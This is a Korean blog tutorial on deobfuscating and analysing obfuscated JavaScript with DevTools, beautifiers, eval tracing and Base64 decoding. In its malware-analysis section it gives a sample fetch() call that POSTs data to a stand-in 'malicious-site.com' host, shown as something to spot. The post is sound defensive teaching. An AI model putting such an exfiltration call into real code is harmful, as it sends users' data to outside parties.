난독화된 JavaScript 코드는 코드를 의도적으로 복잡하게 만들어 가독성을 떨어뜨리는 기술로, 보안 또는 코드 도용 방지를 위해 자주 사용된다. 하지만 디버깅, 코드 분석, 악성 코드 탐지 등의 목적으로 이러한 코드를 이해해야 할 때도 있다.


1. 난독화된 코드란?

난독화된 JavaScript는 일반적으로 변수 이름, 함수 이름, 코드 구조를 알아보기 어렵게 만들어 원래 의도를 숨긴다.

예시:

(function(a, b) {
  var c = a.split('').reverse().join('');
  eval(c);
})(')(0;)}"Hello World" :{(gol.elosnoc', 0);
  • 변수 이름 a, b, c는 의미 파악이 어렵다.
  • eval을 사용해 동적으로 실행된다.
  • 실행 결과는 Hello World를 출력한다.

2. 분석 준비: 필요한 도구

도구 목록

  1. 브라우저 개발자 도구 (DevTools)

    • Chrome, Firefox의 Source 탭에서 디버깅 가능
  2. 코드 디포맷터 및 미니파이어

  3. 디버거 및 리버스 엔지니어링 도구

    • JSNice: 의미 있는 변수 이름 추론
    • Decompiler: 원래 구조 복원
  4. Node.js 실행 환경

    • 코드 실행, 디버깅, 실험용 테스트

3. 난독화된 코드 분석 방법

3.1 코드 구조 디포맷팅

난독화된 코드는 코드 전체가 한줄로 보이기도 하고 읽기 어려운 구조로 작성된다. 이는 가독성을 매우 떨어뜨리고 기분도 떨어뜨리기 때문에... 보기 좋게 변환하는것이 가장 먼저이다.

eval((function(p, a, c, k, e, r) {
  // 난독화된 코드
})('난독화된 인코딩 문자열', 62, 12, ...));

➡️ Beautifier.io 등을 통해 정리하면 다음과 같이 가독성이 높아진다:

(function(p, a, c, k, e, r) {
  e = function(c) {
    return c.toString(36);
  };
  ...
})(...);

3.2 변수와 함수 역할 분석

  1. console.log로 변수 확인
var c = a.split('').reverse().join('');
console.log(c); // eval로 실행될 코드 확인
  1. 디버거를 활용한 코드 흐름 추적

    • Chrome DevTools 중단점 설정
    • Scope, Call Stack으로 흐름 파악
  2. JSNice로 의미 있는 변수 이름 복원


3.3 동적 코드 추적

eval, Function 등 동적 실행 구문은 실행 전 내용을 출력하여 확인한다.

(function(a, b) {
    var c = a.split('').reverse().join('');
    console.log("Before eval:", c);
    eval(c);
})(')(0;)}"Hello World" :{(gol.elosnoc', 0);

3.4 Base64 및 인코딩 디코딩

많은 난독화 코드가 Base64 인코딩을 사용한다.

let encoded = "SGVsbG8gV29ybGQ=";
let decoded = atob(encoded);
console.log(decoded); // Hello World

3.5 브라우저 개발자 도구 활용

  1. Breakpoint 설정: 주요 함수 또는 동적 실행 전 위치
  2. Scope 확인: 현재 컨텍스트의 변수 확인
  3. Watch Expression: 특정 표현식 실시간 추적
(function() {
    var secret = "hidden";
    console.log("Reveal secret:", secret); // 중단점 설정 지점
})();

4. 악성 코드 분석

이 부분은 실제로 분석을 해봐야 감이 오기때문에 개념만 작성하도록 하겠다.

4.1 네트워크 요청 추적

Network 탭에서 외부로 요청이 전송되는지 확인한다.

fetch("https://malicious-site.com", {
    method: "POST",
    body: "data"
});

4.2 코드 실행 제한

  • Sandbox 환경 실행: JSFiddle, CodePen
  • Node.js 디버깅 모드:
node --inspect-brk script.js

5. 코드 이해를 위한 팁

  1. 부분 실행: 코드를 조각내어 테스트
  2. 함수 분리: 역할별로 함수 구분 후 분석

6. 결론

난독화된 JavaScript 코드를 분석하는 것은 시간이 걸릴 수 있지만, 적절한 도구와 방법론 그리고 경험...! 을 통해 체계적으로 접근할 수 있다.
특히 브라우저 DevTools와 디코딩 도구의 활용이 중요하다. 잘 만들어진 도구를 잘 사용하는게 아주아주 중요하다!.


profile
다크모드가 보기 좋아요

0개의 댓글

Powered by GraphCDN, the GraphQL CDN